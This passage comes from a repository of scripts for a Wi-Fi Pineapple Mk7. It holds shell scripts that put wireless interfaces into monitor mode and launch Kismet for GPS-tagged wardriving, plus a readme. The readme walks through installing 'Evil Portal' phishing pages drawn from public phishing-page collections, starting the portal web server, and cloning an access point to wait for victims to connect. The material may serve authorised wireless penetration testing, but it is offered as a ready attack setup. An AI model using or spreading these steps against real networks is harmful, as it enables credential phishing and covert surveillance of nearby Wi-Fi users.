sed -r 's/.*"time":"([^"]*)".*/\1/' | sed -e 's/^\(.\{10\}\)T\(.\{8\}\).*/\1 \2/'` 15 | # SET THE PINEAPPLE'S CLOCK 16 | date -u -s "$UTCDATE" 17 | 18 | # LAUNCH KISMET DAEMON 19 | # If you have the 5Ghz module you will need to add wlan3 to the config 20 | iwconfig wlan1 mode Monitor 21 | iwconfig wlan2 mode Monitor 22 | kismet -p /root/kismetlogs -t wardirve --override wardrive -c wlan1 -c wlan2 -------------------------------------------------------------------------------- /Kismet/wardriveUSB.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | pkill gpsd # kill any current gpsd process 4 | pkill kismet # kill any kismet process 5 | ifconfig wlan1 down # bring down wlan1 6 | ifconfig wlan2 down # bring down wlan2 7 | #ifconfig wlan3 down # if you have the 5GHz module oncomment this line 8 | 9 | gpsd -n /dev/ttyACM0 # Set the GPSD input from USB Device 10 | 11 | sleep 1 # wait for a lock 12 | #gpspipe -w | grep -qm 1 '"mode":3' 13 | 14 | UTCDATE=`gpspipe -w | grep -m 1 "TPV" | sed -r 's/.*"time":"([^"]*)".*/\1/' | sed -e 's/^\(.\{10\}\)T\(.\{8\}\).*/\1 \2/'` 15 | # SET THE PINEAPPLE'S CLOCK 16 | date -u -s "$UTCDATE" 17 | 18 | # LAUNCH KISMET DAEMON 19 | # If you have the 5Ghz module you will need to add wlan3 to the config 20 | iwconfig wlan1 mode Monitor 21 | iwconfig wlan2 mode Monitor 22 | kismet -p /root/kismetlogs -t wardirve --override wardrive -c wlan1 -c wlan2 23 | -------------------------------------------------------------------------------- /Screenshots/Activated.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Screenshots/Activated.PNG -------------------------------------------------------------------------------- /Screenshots/EvilPortal.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Screenshots/EvilPortal.PNG -------------------------------------------------------------------------------- /Screenshots/EvilPortalPage.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Screenshots/EvilPortalPage.PNG -------------------------------------------------------------------------------- /Screenshots/EvilPortalPin.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Screenshots/EvilPortalPin.PNG -------------------------------------------------------------------------------- /Screenshots/GoogleEx.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Screenshots/GoogleEx.PNG -------------------------------------------------------------------------------- /Screenshots/Pin.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Screenshots/Pin.PNG -------------------------------------------------------------------------------- /Screenshots/TestCreds.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Screenshots/TestCreds.PNG -------------------------------------------------------------------------------- /Screenshots/plugin.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Screenshots/plugin.PNG -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | # Wi-Fi Pineapple Mk7 2 | 3 | This repository is a work in progress. Check back regularly for updates 4 | 5 | 6 | # Wardriving 7 | 8 | The `Kismet` directory contains scripts to setup your Mk7 for wardriving using an Android Phone as a GPS device. The script can be setup to run at boot, or you can SSH into it over the management wifi and start the script up once you have a GPS lock. 9 | ## Kismet setup 10 | After running the `dependencyInstall.sh` you will need to modify the kisment.conf file in `/etc/kismet/kismet.conf` 11 | 12 | add this line in the `GPS` section: `gps=gpsd:host=localhost,port=2947` 13 | 14 | ## GPS Options 15 | 16 | There are 2 options that you can use for your GPS module. 17 | 1. A USB GPS dongle 18 | 2. Android phone over Wi-Fi with GPSd Forwarder 19 | 20 | ## wardrive.sh 21 | 22 | The current wardrive.sh script assumes you are using option 2. 23 | 24 | ## GPSd Forwarder 25 | 26 | 1. Download GPSd Forwarder for Android off of [Google Play](https://play.google.com/store/apps/details?id=io.github.tiagoshibata.gpsdclient) or [F-Droid](https://f-droid.org/packages/io.github.tiagoshibata.gpsdclient/) 27 | 2. Open the app and set the IP address to the address of your pineapple. (Default is 172.16.42.1) 28 | 3. Set the port to 9999 29 | 30 | After you've donwloaded and setup the app. Connect your Android phone to the Pineapple via the management Wi-Fi. 31 | Then run the script wardrive.sh 32 | 33 | 34 | # Evil Portals 35 | 36 | The folder of Evils Portals is pulled from here https://github.com/kleo/evilportals & https://github.com/wifiphisher/extra-phishing-pages 37 | 38 | In order to setup the Evil Portal on the Wifi Pineapple you must do the following. 39 | 40 | 1. Install the Evil Portal Plugin. 41 | 42 | ![plugin icon](/Screenshots/plugin.PNG) 43 | 44 | ![evil portal package](/Screenshots/EvilPortal.PNG) 45 | 46 | ![Add to sidebar](/Screenshots/Pin.PNG) 47 | 48 | ![Evil Portal Pin](/Screenshots/EvilPortalPin.PNG) 49 | 50 | 2. scp or sftp into the wifi pineapple and copy everything in the `Evil Portals/portals` directory into `~/portals` onto the pineapple. If the directory doesn't already exist, create one. 51 | 52 | 3. Reload the Evil Portals module. 53 | You should now see all the portals 54 | 55 | ![Portal](/Screenshots/EvilPortalPage.PNG) 56 | 57 | 4. Activate a portal you wish to use. 58 | 5. Click Start Web Server, and then start. 59 | 60 | ![Activated](/Screenshots/Activated.PNG) 61 | 62 | 6. Click preview to view the "Evil Portal" 63 | 64 | ![Preview](/Screenshots/GoogleEx.PNG) 65 | 66 | 7. Then clone an AP or create your own AP and wait for a device to connect. --------------------------------------------------------------------------------